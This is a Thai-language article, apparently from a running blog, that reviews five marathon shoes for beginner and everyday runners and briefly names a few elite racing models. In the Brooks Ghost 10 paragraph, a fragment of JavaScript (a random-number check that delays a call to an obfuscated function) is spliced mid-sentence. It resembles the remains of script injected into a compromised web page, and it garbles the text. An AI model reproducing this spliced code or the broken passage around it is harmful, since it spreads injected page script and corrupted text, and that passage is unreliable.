สำหรับนักวิ่งที่ต้องการลงมาราธอนแรกไปจนถึงนักวิ่งล่าถ้วยมาราธอน ขอให้จำให้ขึ้นใจว่า ไม่มีรองเท้าคู่ไหนที่สามารถวิ่งได้ครอบจักรวาล วิ่งได้ทุกระยะทาง ได้ทุกความเร็ว หรือปรับตัวได้ตามความสามารถนักวิ่ง พูดง่ายๆ คือ ไม่มี one shoe fit all รองเท้าเพื่อวิ่งมาราธอนสำหรับนักวิ่งธรรมดาทั่วไปก็จะลักษณะเฉพาะตัวต่างกับรองเท้าวิ่งมาราธอนที่ออกแบบมาเพื่อวิ่งแข่งทำเวลาให้ดีที่สุด บทความนี้จะช่วยจัดรองเท้าวิ่งเทพๆ ราคาไม่แรง ให้สำหรับวิ่งมาราธอนให้นักวิ่งมือใหม่และคนทั่วไปได้เลือกพิจารณา
Top 5 Marathon shoes: 5 รองเท้าเทพสำหรับชาวมาราธอน
1. Brooks Ghost 10
บรุ๊ค ยี่ห้อรองเท้าวิ่งที่วนเวียนในตลาดเมืองไทยมาช้านาน แม้จะไม่ค่อยออกตัวโฆษณามากนัก แต่เชื่อว่าครั้งหนึ่งต้องเคยใส่บรุ๊ค และด้วยการเป็นบริษัทที่ผลิตรองเท้าวิ่งโดยเฉพาะ ไลน์สินค้าออกแบบมาตอบโจทย์ คนเท้าปกติ Neutral ไปจนถึงคนที่มีปัญหาแบบ Over/Under pronation
Brook Ghost 10 เป็นรองเท้าวิ่งที่ออกแบบมาสำหรับเท้า Neutral วิ่งฝึกซ้อมได้ทุกระยะ ยาวถึงมาราธอน แน่นอนว่าสามารถใส่แข็งขันได้เช่นกัน เป็น All around shoe ที่สำคัญราคาไม่แรงเหมือนหลายๆ ค่าย (ถ้าเดินตามห้างที่มี SuperSports มักจะเห็นมีโปรลดราคาเสมอ) ด้วยเป็นรองเท้าที่มีความนุ่มและตอบสนองยึดเกาะดี หรือ responsive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cushioned และส่วน Upper ที่โอบอุ้มเท้าจะระบายอากาศได้ดี ผิวสัมผัสไม่หยาบ สบายเท้า ข้อเสียน่าจะเป็นส่วน Mid-sole ที่หนา ทำให้น้ำหนักจะหนักกว่ายี่ห้ออื่นขึ้นมานิดหนึ่ง โดยรวมคิดว่าเหมาะสำหรับการวิ่ง Long run และใช้ pace คงที่สลับเร็วในบางช่วง
2. Nike Zoom Pegasus 35
หนึ่งในซี่รีย์รองเท้าที่มีอายุยาวนานที่สุดของ Nike คือซี่รียส์ Pegasus เป็นรองเท้าประเภท All around และ Go-to shoe นั้นคือถ้ายังเป็นมือใหม่หัดวิ่ง เพิ่งเข้าวงการ และอยากได้รองเท้าใส่วิ่งดูเท่ห์ มีงบขึ้นมาประมาณ 3000 -5000 ละก็ ตรงไปที่รองเท้า Nike Zoom Pegasus 35 ตัวใหม่นี้เลยครับ ออกแบบมาให้ดูเป็นเหมือนรองเท้าวิ่งแข่งขันประเภท Race shoe มาก ดีไซด์ออกแบบก็ดูโฉบเฉี่ยวกว่ารุ่นก่อนๆ
ความพิเศษอยู่ที่น้ำหนักรองเท้าที่อยุ่ในเกณฑ์พอดี ไม่เบาเกินไป ( หากเบามากๆ วัสดุมีอายุใช้งานสั้น) ขณะเดียวกันก็มีน้ำหนักไม่มาก ใส่แล้วไม่เป็นภาระกล้ามเนื้อเวลาวิ่งระยะมาราธอน และด้วยความเบาจึงสามารถใส่ทำความเร็วได้ดี เหมาะกับการใส่ฝึก Long run, speedplay และ Interval มีความสามารถในการระบายอากาศได้ดี แต่ชิ้นส่วน upper จะหยาบกว่า Ghost 10 เพราวัสดุจะเลือกให้มีน้ำหนักเบา จึงต้องตัดทอนบางอย่างออกไป แต่ใส่ถุงเท้าวิ่งก็ไม่มีผลอะไรมาก
การยึดเกาะพื้นดี out-sole ทนทาน ในส่วนของ Mid-sole นี้ได้ใส่แผน Zoom แบบเต็ม ซึ่งปกติมักจะใส่ช่วง Front foot กับ Heel เท่านั้น ทำให้ได้ความนุ่มเพิ่มขึ้นมาก จะใส่เที่ยว ใส่ฝึกซ้อม ใส่ลงแข่ง Nike Zoom Pegasus 35 ตอบโจทย์ได้หมดครับ
3. Asics Gel Nimbus 20
ใส่แล้วเหมือนวิ่งอยู่บนเมฆคือนิยามของรองเท้า Asics Gel Nimbus ครับ ด้วยโครงสร้างที่มีขนาดใหญ่ จึงเหมาะกับคนเท้ากว้างมาก มีความทนทานกว่ารองเท้ายี่ห้ออื่นๆ มาก แต่ก็ต้องแลกมาด้วยน้ำหนัก
ซี่รีย์ Nimbus ของ Asics เองก็มีอายุยาวนานเหมือนกัน ตอนนี้อัพเดตมาเป็นรุ่นที่ 20 แล้ว ซึ่งในรุ่นก่อนๆ จะมีข้อเสียอยู่ที่น้ำหนักจะมากไปหน่อย เพราะใส่ทั้งโฟมและใส่พระเอกที่ทำให้การวิ่งนุ่มนั้นคือเจล จึงหนักเป็นตามธรรมดา วัสดุบุภายในก็มีคุณภาพตามมาตรฐานญี่ปุ่น ใส่สบายเท้า ใส่วิ่ง Long run รับรองไม่เมื่อยเท้าแน่นอน
แม้จะใส่วิ่งมาราธอนได้สบายๆ แต่จะอัดทำความเร็วก็คงไม่เหมาะเท่าไหร่ ปัจจุบันรุ่นที่ 20 ปรับปรุงให้โฟมและเจล มีน้ำหนักเบามากขึ้น แต่ก็ยังให้ความรู้สึกหน่วงๆ นักวิ่งคนไหนที่มีน้ำหนักเยอะ หรือรูปร่างสูงใหญ่ เจ้า Nimbus จะตอบโจทย์ได้ดีกว่ามากครับ นอกจากนี้รองเท้า Asics ที่แนะนำต่อจาก Nimbus อีกรุ่นหนึ่งคือเจ้า Gel Kayano 25 สามารถใส่วิ่งมาราธอนได้เช่นกันและมีน้ำหนักเบามากกว่า แต่ระดับ Cushion จะน้อยกว่า ใครที่สนใจความนุ่มของ Asics แต่ก็ต้องการทำความเร็วก็ลองซี่รีย์ Kayano 25 ได้ครับ (แต่อย่าลืมไปนะครับ ราคาของ Asics แรงทุกรุ่น)
4. Saucony Kinvara 9
มีใครกี่คนจะรู้ว่ารองเท้า Saucony เคยทำรองเท้าให้นักบินอวกาศไปเหยียบดวงจันทร์มาแล้ว ยี่ห้อ Saucony เป็นบริษัทที่ทำรองเท้าวิ่งอย่างเดียวเช่นกันกับ Brooks ครับ อายุก็ 100 ปีเข้าไปแล้ว
Saucony เข้ามาทำตลาดในบ้านเราแบบเงียบๆ ในช่วงที่การวิ่งกำลังบูม มีขายตามร้าน Banana Run หรือ Rev Runner และพวกร้านสำหรับนักกีฬาสาย Endurance เฉพาะๆ อย่าง ไตร วิ่งเทรล วิ่งอัลตร้า ซึ่งราคาก็จะแพงขึ้นมาหน่อย ข้อดีคือมีความเบาและโฟมที่นุ่ม ส่วนของ Mid-sole จะเป็นเนื้อกับส่วน out-sole เลย ทำให้เซฟน้ำหนักได้เยอะ แต่กระนั้นพื้นรองเท้าจะไม่ทน ดอกยางจะหายไปเร็วมาก
เบาและแถมตอบสนองดี ใส่ฝึกวิ่งทำความเร็วอย่าง interval ได้ ระบายอากาศก็ดีเยี่ยม ใส่วิ่ง Long Run ไม่ร้อนเลย เป็นรองเท้าแบบ All around เช่นเดียวกันกับ Nike Zoom Pegasus 35 แต่จะต่างกันทีระดับความนุ่มของโฟมที่จะมีมากกว่า แต่กระนี้บางคนจะไม่ค่อยชอบความนิ่มที่มี เพราะรู้สึกมากไป เวลาเร่งความเร็วจะรู้สึกหลอมยวบๆ หน่อยๆ แรงกดที่ใส่จะรู้สึกว่าหายไป
5. New Balance 890v6
ยี่ห้อนี้เองก็อยู่ในบ้านเรามาพักใหญ่ละครับ ไม่ค่อยทำตลาดเท่าไหร่ แต่อยู่เป็นเพื่อน Brooks ไทยมาพอๆ กัน ข้อดีคือราคาไม่แพง จัดโปรบ่อยเช่นกัน เป็นบริษัทที่ทำรองเท้าวิ่งแบบเฉพาะเจาะจงเหมือนกัน และมีการแตกไลน์ไปรองเท้าเทนนิส รองเท้าบอล ลำลอง กอล์ฟและเบสบอล ต่อมาเรื่อยๆ
ซี่รียส์นี้เน้น Lightweight, Fast และ Responsive ดังนั้นระดับความนุ่มหรือ Cushion จะมีน้อยกว่าเพื่อน เป็นรองเท้าแบบ Neutral ที่เน้นทำความเร็ว ออกแบบให้เบา เอาไว้ทำความเร็ว แต่ upper นุ่มสบายแถมระบายอากาศได้ดี มีความทนทานสูง เอาวัสดุส่วน Upper และ Outer-sole มาทดแทนระดับความนิ่มของ cushion ก็ว่าได้ มองๆ ไปจึงคิดว่าเหมาะกับคนที่ชอบรองเท้าวิ่งแบบเฟิร์มๆ กดใส่สปีดก็มา
ถ้ายังไม่โดนใจ ก็ลองดู สามรุ่นต่อไปนี้ พวก Elite มักจะชอบใส่กัน หรือนักวิ่งขาแรงที่ต้องการเซต NPB ให้ตัวเอง ได้แก่ Nike Zoom Vaporfly 4% ตอนนี้บอกเลยว่าราคา 7000-8000 บาทเลยละ แพงมากๆ ต่อมาก็เป็นรองเท้าที่เบามากๆ ของยี่ห้อสามแถบ แถมหายากในไทยด้วย เพราะเน้นออกว่าจำหน่ายแนว Lifestyle ซะมากกว่า นั้นคือ Adidas Adizero Boston 7 สุดท้ายคือ รองเท้าแข่งขันยอดฮิตในเมืองไทย เบาและเป็น zero drop เห็นแทบทุกง่าย นั้นคือ ASICS Tartherzeal
อ้างอิง www.runningshoesguru.com